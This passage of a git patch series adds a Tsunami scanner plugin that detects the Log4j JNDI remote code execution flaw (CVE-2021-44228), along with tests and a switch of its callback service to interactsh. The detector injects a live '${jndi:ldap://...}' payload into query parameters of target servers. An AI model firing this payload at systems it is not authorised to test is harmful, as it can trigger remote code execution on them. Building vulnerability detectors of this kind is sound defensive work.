okhttp3.mockwebserver.Dispatcher; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** + * Unit tests for {@link Cve202144228VulnDetector}. + */ +@RunWith(JUnit4.class) +public final class Cve202144228VuLnDetectorTest { + + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); + + @Inject + private Cve202144228VulnDetector detector; + + private MockWebServer mockWebServer; + + @Before + public void setUp() { + mockWebServer = new MockWebServer(); + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new Cve202144228DetectorBootstrapModule(), + new HttpClientModule.Builder().build()) + .injectMembers(this); + } + + @After + public void tearDown() throws IOException { + mockWebServer.shutdown(); + } + + @Test + public void detect_whenVulnerable_returnsVulnerability() throws IOException { + detector.initOOBDomain(); + System.out.println("OOB_DOMAIN:" + OOB_DOMAIN); + try { + InetAddress.getByName(OOB_DOMAIN); + } catch (UnknownHostException e) { + e.printStackTrace(); + } + mockWebServer.setDispatcher(new VulnerabilityEndpointDispatcher()); + mockWebServer.start(); + NetworkService service = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setSoftware(Software.newBuilder().setName("http")) + .setServiceName("http") + .build(); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(service) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2021_44228")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2021-44228 Apache Log4j2 <=2.14.1 JNDI RCE") + .setRecommendation( + "In previous releases (>=2.10) this behavior can be mitigated by " + + "setting system property \"log4j2.formatMsgNoLookups\" to “true” " + + "or by removing the JndiLookup class from the classpath (example:" + + " zip -q -d log4j-core-*.jar " + + "org/apache/logging/log4j/core/lookup/JndiLookup.class). Java " + + "8u121 (see https://www.oracle.com/java/technologies/javase/" + + "8u121-relnotes.html) protects against RCE by defaulting " + + "\"com.sun.jndi.rmi.object.trustURLCodebase\" and " + + "\"com.sun.jndi.cosnaming.object.trustURLCodebase\" to " + + "\"false\".") + .setDescription(VULN_DESCRIPTION)).build()); + } + + @Test + public void detect_whenNotVulnerable_returnsNoVulnerability() throws IOException { + mockWebServer.setDispatcher(new SafeEndpointDispatcher()); + mockWebServer.start(); + ImmutableList httpServices = + ImmutableList.of( + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setServiceName("http") + .build()); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + } + + static final class SafeEndpointDispatcher extends Dispatcher { + + @Override + public MockResponse dispatch(RecordedRequest recordedRequest) { + return new MockResponse().setResponseCode(HttpStatus.OK.code()); + } + } + + static final class VulnerabilityEndpointDispatcher extends Dispatcher { + + @Override + public MockResponse dispatch(RecordedRequest recordedRequest) { + if ("/".equals(recordedRequest.getPath())) { + return new MockResponse().setResponseCode(HttpStatus.OK.code()) + .setBody("test"); + } + + if ("/log4j".equals(recordedRequest.getPath())) { + return new MockResponse().setResponseCode(HttpStatus.OK.code()) + .setBody(recordedRequest.getRequestUrl().toString()); + } + return new MockResponse().setResponseCode(HttpStatus.OK.code()); + } + } +} From e38a369215b9d96cc6705add820502511a3f38e0 Mon Sep 17 00:00:00 2001 From: hh-hunter Date: Sat, 11 Dec 2021 15:29:21 +0800 Subject: [PATCH 2/4] change cve number --- community/detectors/log4j_rce/build.gradle | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/community/detectors/log4j_rce/build.gradle b/community/detectors/log4j_rce/build.gradle index 38a616f08..b9eb150c3 100644 --- a/community/detectors/log4j_rce/build.gradle +++ b/community/detectors/log4j_rce/build.gradle @@ -3,7 +3,7 @@ plugins { id 'com.google.protobuf' version "0.8.14" } -description = 'Tsunami CVE-2021-29441 VulnDetector plugin.' +description = 'Tsunami CVE-2021-44228 VulnDetector plugin.' group 'com.google.tsunami' version '0.0.1-SNAPSHOT' From af0c4d82ec93ef1fce18db27e258ab20a7453dda Mon Sep 17 00:00:00 2001 From: hh-hunter Date: Sat, 11 Dec 2021 18:00:01 +0800 Subject: [PATCH 3/4] change oob provider for interactsh --- community/detectors/log4j_rce/build.gradle | 4 +- .../Cve202144228VulnDetector.java | 183 ++++++++++++++---- .../Cve202144228VuLnDetectorTest.java | 7 +- 3 files changed, 147 insertions(+), 47 deletions(-) diff --git a/community/detectors/log4j_rce/build.gradle b/community/detectors/log4j_rce/build.gradle index b9eb150c3..4735869e7 100644 --- a/community/detectors/log4j_rce/build.gradle +++ b/community/detectors/log4j_rce/build.gradle @@ -17,7 +17,6 @@ repositories { } - java { sourceCompatibility = JavaVersion.VERSION_1_8 targetCompatibility = JavaVersion.VERSION_1_8 @@ -58,6 +57,7 @@ ext { okhttpVersion = '3.12.0' protobufVersion = '3.11.4' jsoupVersion = '1.9.2' + bouncycastleVersion = '1.70' } protobuf { @@ -73,6 +73,8 @@ dependencies { implementation "com.google.protobuf:protobuf-javalite:${protobufVersion}" implementation "com.google.protobuf:protobuf-java-util:${protobufVersion}" implementation "org.jsoup:jsoup:${jsoupVersion}" + implementation 'org.bouncycastle:bcprov-jdk15on:${bouncycastleVersion}' + testImplementation "junit:junit:${junitVersion}" testImplementation "org.mockito:mockito-core:${mockitoVersion}" diff --git a/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228VulnDetector.java b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228VulnDetector.java index 8e3e2ecf2..a1cb22a66 100644 --- a/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228VulnDetector.java +++ b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228VulnDetector.java @@ -17,8 +17,6 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.common.net.HttpHeaders.COOKIE; -import static com.google.common.net.HttpHeaders.SET_COOKIE; import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static java.nio.charset.StandardCharsets.UTF_8; @@ -26,11 +24,11 @@ import com.google.common.collect.ImmutableList; import com.google.common.collect.ImmutableSet; import com.google.common.flogger.GoogleLogger; +import com.google.gson.Gson; import com.google.protobuf.ByteString; import com.google.protobuf.util.Timestamps; import com.google.tsunami.common.data.NetworkServiceUtils; import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; import com.google.tsunami.common.net.http.HttpRequest; import com.google.tsunami.common.net.http.HttpResponse; import com.google.tsunami.common.net.http.HttpStatus; @@ -50,16 +48,37 @@ import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.Vulnerability; import com.google.tsunami.proto.VulnerabilityId; +import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.OutputStreamWriter; import java.io.UnsupportedEncodingException; import java.net.URLEncoder; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.NoSuchAlgorithmException; +import java.security.PrivateKey; +import java.security.PublicKey; +import java.security.spec.MGF1ParameterSpec; import java.time.Clock; import java.time.Instant; import java.util.ArrayList; +import java.util.Arrays; +import java.util.Base64; import java.util.HashMap; import java.util.List; +import java.util.Locale; import java.util.Map; +import java.util.Random; +import java.util.UUID; +import javax.crypto.Cipher; +import javax.crypto.SecretKey; +import javax.crypto.spec.IvParameterSpec; +import javax.crypto.spec.OAEPParameterSpec; +import javax.crypto.spec.PSource; +import javax.crypto.spec.SecretKeySpec; import javax.inject.Inject; +import org.bouncycastle.util.io.pem.PemObject; +import org.bouncycastle.util.io.pem.PemWriter; /** * A {@link VulnDetector} that detects the CVE-2021-44228 vulnerability. @@ -79,10 +98,9 @@ public final class Cve202144228VulnDetector implements VulnDetector { public static String OOB_DOMAIN = ""; + private PrivateKey privateKey; private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - private static int MAX_TRY_GET_OOB_DOMAIN = 6; - private static String PHP_SESSION = ""; - private static String PAYLOAD = "${jndi:ldap://tsunami.OOB_DOMAIN/}"; + private static String PAYLOAD = "${jndi:ldap://OOB_DOMAIN/}"; @VisibleForTesting static final String VULN_DESCRIPTION = @@ -95,12 +113,17 @@ public final class Cve202144228VulnDetector implements VulnDetector { private final HttpClient httpClient; private final Clock utcClock; private final Crawler crawler; + private final UUID secretKey; + private final String correlationId; + @Inject Cve202144228VulnDetector(@UtcClock Clock utcClock, HttpClient httpClient, Crawler crawler) { this.httpClient = checkNotNull(httpClient); this.utcClock = checkNotNull(utcClock); this.crawler = checkNotNull(crawler); + this.secretKey = UUID.randomUUID(); + this.correlationId = getRandomString(20); } @Override @@ -197,24 +220,31 @@ private boolean checkPostVulnerable(NetworkService networkService, } public void initOOBDomain() { - try { - if ("".equals(OOB_DOMAIN)) { + if ("".equals(OOB_DOMAIN)) { + try { + KeyPair keyPair = generateRsaKeyPair(); + privateKey = keyPair.getPrivate(); + PublicKey publicKey = keyPair.getPublic(); + PemObject pemObject = new PemObject("PUBLIC KEY", publicKey.getEncoded()); + ByteArrayOutputStream pubKeyByteStream = new ByteArrayOutputStream(); + PemWriter pemWriter = new PemWriter(new OutputStreamWriter(pubKeyByteStream)); + pemWriter.writeObject(pemObject); + pemWriter.close(); + String pubKeyEncoded = + new String(Base64.getEncoder().encode(pubKeyByteStream.toByteArray())); + + String registerData = String + .format("{\"public-key\":\"%s\",\"secret-key\":\"%s\",\"correlation-id\":\"%s\"}", + pubKeyEncoded, this.secretKey, this.correlationId); HttpResponse response = httpClient - .send(HttpRequest.get("http://www.dnslog.cn/getdomain.php").withEmptyHeaders().build()); - if (HttpStatus.OK.equals(response.status())) { - OOB_DOMAIN = response.bodyString().get(); - PAYLOAD = PAYLOAD.replace("OOB_DOMAIN", OOB_DOMAIN); - PHP_SESSION = response.headers().get(SET_COOKIE).get().replace("path=/", ""); - logger.atInfo().log("Request oob domain %s success", OOB_DOMAIN); + .send(HttpRequest.post("https://interactsh.com/register").setRequestBody( + ByteString.copyFromUtf8(registerData)).withEmptyHeaders().build()); + if (response.bodyString().get().contains("successful")) { + OOB_DOMAIN = "tsunami." + correlationId + "gdpdpreyyyyyb.interactsh.com"; + logger.atInfo().log("Register interactsh oob domain %s success", OOB_DOMAIN); } - } - } catch (IOException e) { - if (e.getMessage().contains("timeout") && MAX_TRY_GET_OOB_DOMAIN > 0) { - logger.atWarning().log("Request to oob domain timeout,retrying..."); - MAX_TRY_GET_OOB_DOMAIN = MAX_TRY_GET_OOB_DOMAIN - 1; - initOOBDomain(); - } else { - logger.atWarning().withCause(e).log("Request to oob domain failed"); + } catch (Exception e) { + logger.atWarning().withCause(e).log("Register interactsh oob domain failed"); } } } @@ -226,24 +256,20 @@ public void initOOBDomain() { */ private boolean checkOOBData() { try { - MAX_TRY_GET_OOB_DOMAIN = 3; - Thread.sleep(10000); - // dnslog is not stable - HttpResponse response = httpClient - .send(HttpRequest.get("http://www.dnslog.cn/getrecords.php").setHeaders( - HttpHeaders.builder().addHeader(COOKIE, PHP_SESSION).build()).build()); - if (HttpStatus.OK.equals(response.status()) && response.bodyString().get() - .contains("tsunami")) { - return true; - } - } catch (Exception e) { - if (e.getMessage().contains("timeout") && MAX_TRY_GET_OOB_DOMAIN > 0) { - logger.atWarning().log("Check oob domain result timeout,retrying..."); - MAX_TRY_GET_OOB_DOMAIN = MAX_TRY_GET_OOB_DOMAIN - 1; - checkOOBData(); - } else { - logger.atWarning().withCause(e).log("Check oob domain result failed"); + String poolUrl = String + .format("https://interactsh.com/poll?id=%s&secret=%s", correlationId, secretKey); + HttpResponse response = httpClient.send(HttpRequest.get(poolUrl).withEmptyHeaders().build()); + if (response.status() == HttpStatus.OK && response.bodyString().get().contains("aes_key")) { + PollData pollData = new Gson().fromJson(response.bodyString().get(), PollData.class); + for (String datum : pollData.getData()) { + String decryptMessage = new String(decryptMessage(pollData.getAes_key(), datum)); + if (decryptMessage.contains("tsunami")) { + return true; + } + } } + } catch (IOException e) { + logger.atWarning().withCause(e).log("Check oob data failed"); } return false; } @@ -297,7 +323,7 @@ private List buildNextGetUris(String startingUrl, String url) { if (queryString.contains("=") && queryString.split("=").length == 2) { String queryStringKey = queryString.split("=")[0]; String newQueryString = queryStringKey + "=" + - URLEncoder.encode(PAYLOAD, UTF_8.toString()); + URLEncoder.encode(PAYLOAD.replace("OOB_DOMAIN", OOB_DOMAIN), UTF_8.toString()); String uri = query.replace(queryString, newQueryString); nextUriList.add(uri); } @@ -371,4 +397,81 @@ private ImmutableSet crawlNetworkService(String seedingUrl, .build(); return crawler.crawl(crawlConfig); } + + private static KeyPair generateRsaKeyPair() throws NoSuchAlgorithmException { + KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA"); + generator.initialize(2048); + + KeyPair keyPair = generator.generateKeyPair(); + logger.atInfo().log("Interactsh: RSA key pair generated."); + return keyPair; + } + + private byte[] decryptMessage(String encodedEncryptedKey, String encodedEncryptedMsg) { + try { + byte[] decodedEncryptedKey = Base64.getDecoder().decode(encodedEncryptedKey); + Cipher decryptionCipher = Cipher.getInstance("RSA/ECB/OAEPWITHSHA-256ANDMGF1PADDING"); + OAEPParameterSpec oaepParameterSpec = + new OAEPParameterSpec( + "SHA-256", + "MGF1", + MGF1ParameterSpec.SHA256, + PSource.PSpecified.DEFAULT); + decryptionCipher.init(Cipher.DECRYPT_MODE, this.privateKey, oaepParameterSpec); + byte[] decodedDecryptedKey = decryptionCipher.doFinal(decodedEncryptedKey); + + byte[] decodedEncryptedMsg = Base64.getDecoder().decode(encodedEncryptedMsg); + decryptionCipher = Cipher.getInstance("AES/CFB/NoPadding"); + SecretKey aesKey = new SecretKeySpec(decodedDecryptedKey, "AES"); + IvParameterSpec iv = + new IvParameterSpec( + Arrays.copyOf(decodedEncryptedMsg, decryptionCipher.getBlockSize())); + decryptionCipher.init(Cipher.DECRYPT_MODE, aesKey, iv); + return decryptionCipher.doFinal( + Arrays.copyOfRange( + decodedEncryptedMsg, + decryptionCipher.getBlockSize(), + decodedEncryptedMsg.length)); + } catch (Exception e) { + logger.atWarning().withCause(e).log("Could not decrypt Interactsh interactions"); + return new byte[0]; + } + } + + public static String getRandomString(int length) { + String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; + Random random = new Random(); + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < length; i++) { + int number = random.nextInt(62); + sb.append(str.charAt(number)); + } + return sb.toString().toLowerCase(Locale.ROOT); + } + + class PollData { + + private String[] data; + private String aes_key; + + public String[] getData() { + return data; + } + + public void setData(String[] data) { + this.data = data; + } + + public String getAes_key() { + return aes_key; + } + + public void setAes_key(String aes_key) { + this.aes_key = aes_key; + } + + + } + + } diff --git a/community/detectors/log4j_rce/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228VuLnDetectorTest.java b/community/detectors/log4j_rce/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228VuLnDetectorTest.java index 3a6c161f9..a45c9ab77 100644 --- a/community/detectors/log4j_rce/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228VuLnDetectorTest.java +++ b/community/detectors/log4j_rce/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228VuLnDetectorTest.java @@ -85,12 +85,7 @@ public void tearDown() throws IOException { @Test public void detect_whenVulnerable_returnsVulnerability() throws IOException { detector.initOOBDomain(); - System.out.println("OOB_DOMAIN:" + OOB_DOMAIN); - try { - InetAddress.getByName(OOB_DOMAIN); - } catch (UnknownHostException e) { - e.printStackTrace(); - } + InetAddress.getByName(OOB_DOMAIN); mockWebServer.setDispatcher(new VulnerabilityEndpointDispatcher()); mockWebServer.start(); NetworkService service = From 293f15739a0941bd6bae347164f674ce111a51aa Mon Sep 17 00:00:00 2001 From: hh-hunter Date: Sat, 11 Dec 2021 18:02:52 +0800 Subject: [PATCH 4/4] change dependencie --- community/detectors/log4j_rce/build.gradle | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/community/detectors/log4j_rce/build.gradle b/community/detectors/log4j_rce/build.gradle index 4735869e7..9c5ccf36c 100644 --- a/community/detectors/log4j_rce/build.gradle +++ b/community/detectors/log4j_rce/build.gradle @@ -73,7 +73,7 @@ dependencies { implementation "com.google.protobuf:protobuf-javalite:${protobufVersion}" implementation "com.google.protobuf:protobuf-java-util:${protobufVersion}" implementation "org.jsoup:jsoup:${jsoupVersion}" - implementation 'org.bouncycastle:bcprov-jdk15on:${bouncycastleVersion}' + implementation "org.bouncycastle:bcprov-jdk15on:${bouncycastleVersion}" testImplementation "junit:junit:${junitVersion}"